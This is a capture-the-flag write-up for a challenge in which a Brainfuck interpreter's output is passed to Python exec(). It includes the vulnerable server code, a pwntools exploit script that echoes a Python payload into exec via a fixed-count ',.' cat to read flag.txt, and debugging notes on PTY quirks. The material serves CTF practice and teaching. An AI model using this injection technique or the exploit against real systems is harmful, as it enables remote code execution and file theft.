Escape via Brainfuck
Escape via Brainfuck
Platform: bug-makers | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-29 | Status: Solved Techniques: bf_cat_to_rce, exec_sink_injection, fixed_count_cat, single_packet_send
Summary
Task: Brainfuck interpreter whose output is passed to Python exec(); input is restricted to the 8 BF chars and 100 bytes. Solution: use a fixed-count BF cat (',.' repeated) to echo a Python payload from stdin into exec(), reading flag.txt — sent in a single packet to dodge PTY CRLF/EOF pitfalls.
Escape via Brainfuck — bug-makers
Description
Пробейте валидацию ввода и прочитайте flag.txt, который лежит на сервере рядом со скриптом, с которым вы общаетесь.
English summary: A Brainfuck interpreter is exposed over nc. Bypass the input validation and read flag.txt, which sits on the server next to the script.
- Connection:
nc 31.207.77.216 4028(container restarts every 30 min) - Flag format:
BugCTF{...}
Analysis
The provided bf.py is a standard Brainfuck interpreter (TAPE_SIZE=1000000, CELL_MODULO=256, the canonical 8 instructions). The dangerous part is the main block:
python read-only • copy allowedcode = input("> ") if len(code) > 100: print("Лимит ввода 100 символов") # input limit 100 chars sys.exit(0) if not all(c in set("+-<>[],.") for c in code): print("Неверный символ") # invalid char exit(0) code = bf(code) # run the BF interpreter; code now = its OUTPUT string exec(code) # <-- the BF output is executed as Python
Two relevant interpreter behaviors:
,(input):char = sys.stdin.read(1); value = ord(char) if char else 0; tape[ptr] = value % 256.(output): appendschr(tape[ptr])to the output buffer.
The vulnerability — exec() sink fed by BF output
The interpreter's output string is passed directly to exec(). The BF source is constrained to <=100 chars from +-<>[],., but the BF output is not constrained at all. Because BF has , (read a byte from stdin) and . (emit a byte), a tiny BF program can act as a cat: read attacker bytes from stdin and echo them straight into the output buffer, which is then exec()-uted. The restricted esolang jail collapses into arbitrary Python RCE.
Solution
Goal: get exec() to run print(open('flag.txt').read()).
A BF "cat" reads bytes from stdin and emits them. The Python payload is supplied on stdin after the BF program, so the interpreter copies it verbatim into the output that exec receives.
Pitfalls encountered (the real lessons)
-
PTY CRLF translation. The remote runs behind a PTY that translates/echoes
\n→\r\n.\ris not in the allowed BF charset, so if a carriage return lands inside the first input line, the validator printsНеверный символand exits. Fix: send raw\nonly (pwntoolssend), never CRLF. -
Looping cat
,[.,]HANGS. This loops until it reads a0byte (EOF). EOF is not reliably delivered to the PTY-wrapped stdin — neither TCP shutdown nor Ctrl-D /0x04terminated the loop, soexecwas never reached. Several attempts wasted here. -
Two-packet send desyncs. Sending the BF program and the payload as separate packets (with delays) failed: the
input()line buffering vssys.stdin.read(1)byte reads interact unreliably over the PTY. -
Winning method — fixed-count cat, one packet. Use a non-looping cat with an exact iteration count, and send everything at once:
- payload
print(open('flag.txt').read())= 30 chars - bf =
,.repeated 30 times = 60 chars (under the 100-char limit) - send
bf + "\n" + payload + "\n"in a single packet, thensleep,shutdown('send'),recvall.
Since
,.has no loop, it always terminates after exactly 30 read/echo pairs, soexecis guaranteed to run regardless of EOF delivery. - payload
Sanity check
During debugging, sending payload 1/0 (bf = ,.,.,.) produced a ZeroDivisionError traceback out of exec, confirming code injection worked before extracting the flag.
Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import time context.log_level = 'warn' payload = b"print(open('flag.txt').read())" # 30 chars bf = b',.' * len(payload) # 60 chars, <= 100 assert len(bf) <= 100 r = remote('31.207.77.216', 4028) r.recvuntil(b'> ', timeout=5) r.send(bf + b'\n' + payload + b'\n') # single packet! time.sleep(2) r.shutdown('send') print(r.recvall(timeout=15))
Output contained: BugCTF{REDACTED}